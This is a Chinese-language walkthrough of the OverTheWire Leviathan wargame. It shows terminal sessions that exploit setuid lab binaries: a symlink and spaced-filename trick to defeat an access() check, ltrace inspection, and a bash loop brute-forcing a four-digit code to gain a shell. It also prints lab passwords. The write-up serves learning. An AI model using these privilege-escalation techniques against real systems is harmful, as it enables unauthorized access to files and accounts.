Wargames学习笔记--Leviathan

靶场链接：https://overthewire.org/wargames/leviathan/

Username: leviathan0
Password: leviathan0

Not Found
The requested URL /passwordus.html | This will be fixed later, the password for leviathan1 is rioGegei8m was not found on this server.

Apache/2.4.10 (Debian) Server at leviathan.labs.overthewire.org Port 80

leviathan1@leviathan:~$ ./check 
password: sex
$ id  
uid=12002(leviathan2) gid=12001(leviathan1) groups=12001(leviathan1)
$ cat /etc/leviathan_pass/leviathan2    
ougahZi8Ta
$ 

leviathan2@leviathan:~$ ./printfile 
*** File Printer ***
Usage: ./printfile filename
leviathan2@leviathan:~$ ls -l
total 8
-r-sr-x--- 1 leviathan3 leviathan2 7436 Aug 26  2019 printfile

直接打印密码文件提示文件没有这个文件，看看源码

这里的关键是使用了access()这个函数检查了文件的文件名和类型，所以要绕过这个检查，直接打印所输入的内容，可以创建一个密码文件的软链接，创建一个软链接名称开头的带空格的文件，然后执行命令，access()检查是一个文件，cat的执行会分成两个文件执行就可以cat到密码

mkdir /tmp/leviathan2
cd /tmp/leviathan2
ln -s /etc/leviathan_pass/leviathan3 getpass
touch "getpass 1.txt"
 ~/printfile getpass\ 1.txt 

./level3 
Enter the password> snlprintf  
[You've got shell]!
$ id
uid=12004(leviathan4) gid=12003(leviathan3) groups=12003(leviathan3)
$ cat /etc/leviathan_pass/leviathan4

leviathan4@leviathan:~$ ls -la
total 24
drwxr-xr-x  3 root root       4096 Aug 26  2019 .
drwxr-xr-x 10 root root       4096 Aug 26  2019 ..
-rw-r--r--  1 root root        220 May 15  2017 .bash_logout
-rw-r--r--  1 root root       3526 May 15  2017 .bashrc
-rw-r--r--  1 root root        675 May 15  2017 .profile
dr-xr-x---  2 root leviathan4 4096 Aug 26  2019 .trash

leviathan4@leviathan:~/.trash$ ltrace ./bin
__libc_start_main(0x80484bb, 1, 0xffffd774, 0x80485b0 <unfinished ...>
fopen("/etc/leviathan_pass/leviathan5", "r")                                             = 0
+++ exited (status 255) +++
leviathan4@leviathan:~/.trash$ ./bin 
01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010 

直接执行的输出就是密码的二进制，只要2进制转ascii就可以

b_password = '01010100 01101001 01110100 01101000 00110100 01100011 01101111 01101011 01100101 01101001 00001010'

list_pasword = b_password.split(' ')

password = []

for i in range(0, len(list_pasword)):
    password += chr(int(list_pasword[i], 2))
    # print(int(list_pasword[i], 2))
print(password)

ln -s /etc/leviathan_pass/leviathan6 /tmp/file.log

直接执行./leviathan5后就显示密码

leviathan6@leviathan:~$ ./leviathan6 
usage: ./leviathan6 <4 digit code>

提示要加四位数字，明显是想让我们爆破。因为在靶机上文件一会就被删了操作不方便，所以把文件拷贝到本地，用shell脚本爆破

#!/bin/bash
for i in {1000..9999}
do
	/root/Desktop/leviathan6 $i
	echo $i
done

Wrong
7122
# ^C
# id
uid=0(root) gid=0(root) groups=0(root)
# ^C
# 

可以看到执行到7123进了shell，所以在靶机上直接输入7123然后cat密码就可以

leviathan6@leviathan:~$ ./leviathan6 7123
$ cat /etc/leviathan_pass/leviathan7